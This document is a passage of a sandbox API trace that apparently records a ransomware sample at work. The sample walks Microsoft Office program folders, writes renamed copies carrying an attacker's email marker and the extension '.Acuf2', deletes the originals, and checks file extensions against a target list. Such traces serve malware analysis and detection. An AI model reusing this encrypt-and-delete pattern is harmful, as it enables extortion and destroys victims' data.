	[0272.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 1
	[0272.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61
	[0272.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61
	[0272.454] lstrlenW (lpString=".doc") returned 4
	[0272.454] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.454] lstrlenW (lpString=".docx") returned 5
	[0272.454] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1
	[0272.454] lstrlenW (lpString=".pdf") returned 4
	[0272.454] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.454] lstrlenW (lpString=".xls") returned 4
	[0272.454] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.454] lstrlenW (lpString=".xlsx") returned 5
	[0272.454] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1
	[0272.454] lstrlenW (lpString=".ppt") returned 4
	[0272.454] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61
	[0272.454] lstrlenW (lpString=".zip") returned 4
	[0272.454] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.454] lstrlenW (lpString=".rar") returned 4
	[0272.454] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.454] lstrlenW (lpString=".bz2") returned 4
	[0272.454] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.454] lstrlenW (lpString=".7z") returned 3
	[0272.454] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61
	[0272.454] lstrlenW (lpString=".dbf") returned 4
	[0272.454] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61
	[0272.454] lstrlenW (lpString=".1cd") returned 4
	[0272.455] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61
	[0272.455] lstrlenW (lpString=".jpg") returned 4
	[0272.455] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.455] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=55222) returned 1
	[0272.455] CloseHandle (hObject=0x218) returned 1
	[0272.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 0x20
	[0272.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0272.808] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.808] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0272.819] GetLastError () returned 0x0
	[0272.819] ReadFile (in: hFile=0x28c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xd7b6, lpOverlapped=0x0) returned 1
	[0272.836] WriteFile (in: hFile=0x36c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xd7c0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xd7c0, lpOverlapped=0x0) returned 1
	[0272.838] ReadFile (in: hFile=0x28c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.838] WriteFile (in: hFile=0x36c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0272.838] SetEndOfFile (hFile=0x36c) returned 1
	[0273.136] CloseHandle (hObject=0x36c) returned 1
	[0273.136] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.136] SetEndOfFile (hFile=0x28c) returned 1
	[0273.139] CloseHandle (hObject=0x28c) returned 1
	[0273.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 1
	[0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61
	[0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61
	[0273.139] lstrlenW (lpString=".doc") returned 4
	[0273.139] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0273.140] lstrlenW (lpString=".docx") returned 5
	[0273.140] lstrcmpiW (lpString1=".docx", lpString2="6.BDR") returned -1
	[0273.140] lstrlenW (lpString=".pdf") returned 4
	[0273.140] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0273.140] lstrlenW (lpString=".xls") returned 4
	[0273.140] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0273.140] lstrlenW (lpString=".xlsx") returned 5
	[0273.140] lstrcmpiW (lpString1=".xlsx", lpString2="6.BDR") returned -1
	[0273.140] lstrlenW (lpString=".ppt") returned 4
	[0273.140] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61
	[0273.140] lstrlenW (lpString=".zip") returned 4
	[0273.140] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0273.140] lstrlenW (lpString=".rar") returned 4
	[0273.140] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0273.140] lstrlenW (lpString=".bz2") returned 4
	[0273.140] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0273.140] lstrlenW (lpString=".7z") returned 3
	[0273.140] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61
	[0273.140] lstrlenW (lpString=".dbf") returned 4
	[0273.140] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61
	[0273.140] lstrlenW (lpString=".1cd") returned 4
	[0273.140] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0273.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61
	[0273.140] lstrlenW (lpString=".jpg") returned 4
	[0273.140] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0273.722] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.722] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0273.722] GetLastError () returned 0x0
	[0273.722] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x2d90, lpOverlapped=0x0) returned 1
	[0273.737] WriteFile (in: hFile=0x360, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x2da0, lpOverlapped=0x0) returned 1
	[0273.738] ReadFile (in: hFile=0x35c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.738] WriteFile (in: hFile=0x360, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0273.738] SetEndOfFile (hFile=0x360) returned 1
	[0273.738] CloseHandle (hObject=0x360) returned 1
	[0273.738] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.738] SetEndOfFile (hFile=0x35c) returned 1
	[0273.744] CloseHandle (hObject=0x35c) returned 1
	[0273.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 1
	[0273.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65
	[0273.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65
	[0273.997] lstrlenW (lpString=".doc") returned 4
	[0273.998] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0273.998] lstrlenW (lpString=".docx") returned 5
	[0273.998] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1
	[0273.998] lstrlenW (lpString=".pdf") returned 4
	[0273.998] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0273.998] lstrlenW (lpString=".xls") returned 4
	[0273.998] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0273.998] lstrlenW (lpString=".xlsx") returned 5
	[0273.998] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1
	[0273.998] lstrlenW (lpString=".ppt") returned 4
	[0273.998] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0273.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65
	[0273.998] lstrlenW (lpString=".zip") returned 4
	[0273.998] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0273.998] lstrlenW (lpString=".rar") returned 4
	[0273.998] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0273.998] lstrlenW (lpString=".bz2") returned 4
	[0273.998] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0273.998] lstrlenW (lpString=".7z") returned 3
	[0273.998] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0273.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65
	[0273.998] lstrlenW (lpString=".dbf") returned 4
	[0273.998] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0273.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65
	[0273.998] lstrlenW (lpString=".1cd") returned 4
	[0273.998] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0273.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM") returned 65
	[0273.998] lstrlenW (lpString=".jpg") returned 4
	[0273.998] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0274.168] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.168] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0274.168] GetLastError () returned 0x0
	[0274.168] ReadFile (in: hFile=0x374, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x207a0, lpOverlapped=0x0) returned 1
	[0274.195] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x207b0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x207b0, lpOverlapped=0x0) returned 1
	[0274.198] ReadFile (in: hFile=0x374, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.198] WriteFile (in: hFile=0x220, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0274.198] SetEndOfFile (hFile=0x220) returned 1
	[0274.198] CloseHandle (hObject=0x220) returned 1
	[0274.198] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.198] SetEndOfFile (hFile=0x374) returned 1
	[0274.201] CloseHandle (hObject=0x374) returned 1
	[0274.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 1
	[0274.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60
	[0274.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60
	[0274.231] lstrlenW (lpString=".doc") returned 4
	[0274.231] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0274.231] lstrlenW (lpString=".docx") returned 5
	[0274.231] lstrcmpiW (lpString1=".docx", lpString2="D.FAE") returned -1
	[0274.231] lstrlenW (lpString=".pdf") returned 4
	[0274.231] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0274.231] lstrlenW (lpString=".xls") returned 4
	[0274.231] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0274.231] lstrlenW (lpString=".xlsx") returned 5
	[0274.231] lstrcmpiW (lpString1=".xlsx", lpString2="D.FAE") returned -1
	[0274.231] lstrlenW (lpString=".ppt") returned 4
	[0274.231] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0274.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60
	[0274.232] lstrlenW (lpString=".zip") returned 4
	[0274.232] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0274.232] lstrlenW (lpString=".rar") returned 4
	[0274.232] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0274.232] lstrlenW (lpString=".bz2") returned 4
	[0274.232] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0274.232] lstrlenW (lpString=".7z") returned 3
	[0274.232] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0274.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60
	[0274.232] lstrlenW (lpString=".dbf") returned 4
	[0274.232] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0274.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60
	[0274.232] lstrlenW (lpString=".1cd") returned 4
	[0274.232] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0274.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60
	[0274.232] lstrlenW (lpString=".jpg") returned 4
	[0274.232] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0274.264] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=63864) returned 1
	[0274.264] CloseHandle (hObject=0x36c) returned 1
	[0274.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 0x20
	[0274.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0274.265] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.265] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0274.265] GetLastError () returned 0x0
	[0274.265] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xf978, lpOverlapped=0x0) returned 1
	[0274.275] WriteFile (in: hFile=0x378, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf980, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf980, lpOverlapped=0x0) returned 1
	[0274.276] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.276] WriteFile (in: hFile=0x378, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0274.276] SetEndOfFile (hFile=0x378) returned 1
	[0274.278] CloseHandle (hObject=0x378) returned 1
	[0274.278] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.278] SetEndOfFile (hFile=0x36c) returned 1
	[0274.281] CloseHandle (hObject=0x36c) returned 1
	[0274.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam")) returned 1
	[0274.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58
	[0274.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58
	[0274.282] lstrlenW (lpString=".doc") returned 4
	[0274.282] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0274.282] lstrlenW (lpString=".docx") returned 5
	[0274.282] lstrcmpiW (lpString1=".docx", lpString2="B.SAM") returned -1
	[0274.282] lstrlenW (lpString=".pdf") returned 4
	[0274.282] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0274.282] lstrlenW (lpString=".xls") returned 4
	[0274.282] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0274.282] lstrlenW (lpString=".xlsx") returned 5
	[0274.282] lstrcmpiW (lpString1=".xlsx", lpString2="B.SAM") returned -1
	[0274.282] lstrlenW (lpString=".ppt") returned 4
	[0274.282] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0274.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58
	[0274.282] lstrlenW (lpString=".zip") returned 4
	[0274.282] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0274.282] lstrlenW (lpString=".rar") returned 4
	[0274.282] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0274.282] lstrlenW (lpString=".bz2") returned 4
	[0274.283] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0274.283] lstrlenW (lpString=".7z") returned 3
	[0274.283] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0274.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58
	[0274.283] lstrlenW (lpString=".dbf") returned 4
	[0274.283] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0274.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58
	[0274.283] lstrlenW (lpString=".1cd") returned 4
	[0274.283] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0274.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM") returned 58
	[0274.283] lstrlenW (lpString=".jpg") returned 4
	[0274.283] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0274.287] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=99688) returned 1
	[0274.287] CloseHandle (hObject=0x36c) returned 1
	[0274.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll")) returned 0x20
	[0274.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\rm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0274.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57
	[0274.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57
	[0274.288] lstrlenW (lpString=".doc") returned 4
	[0274.288] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0274.288] lstrlenW (lpString=".docx") returned 5
	[0274.288] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1
	[0274.288] lstrlenW (lpString=".pdf") returned 4
	[0274.288] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0274.288] lstrlenW (lpString=".xls") returned 4
	[0274.288] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0274.288] lstrlenW (lpString=".xlsx") returned 5
	[0274.288] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1
	[0274.288] lstrlenW (lpString=".ppt") returned 4
	[0274.288] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0274.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57
	[0274.288] lstrlenW (lpString=".zip") returned 4
	[0274.288] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0274.288] lstrlenW (lpString=".rar") returned 4
	[0274.288] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0274.288] lstrlenW (lpString=".bz2") returned 4
	[0274.288] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0274.288] lstrlenW (lpString=".7z") returned 3
	[0274.288] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0274.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\RM.DLL") returned 57
	[0274.288] lstrlenW (lpString=".dbf") returned 4
	[0274.288] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
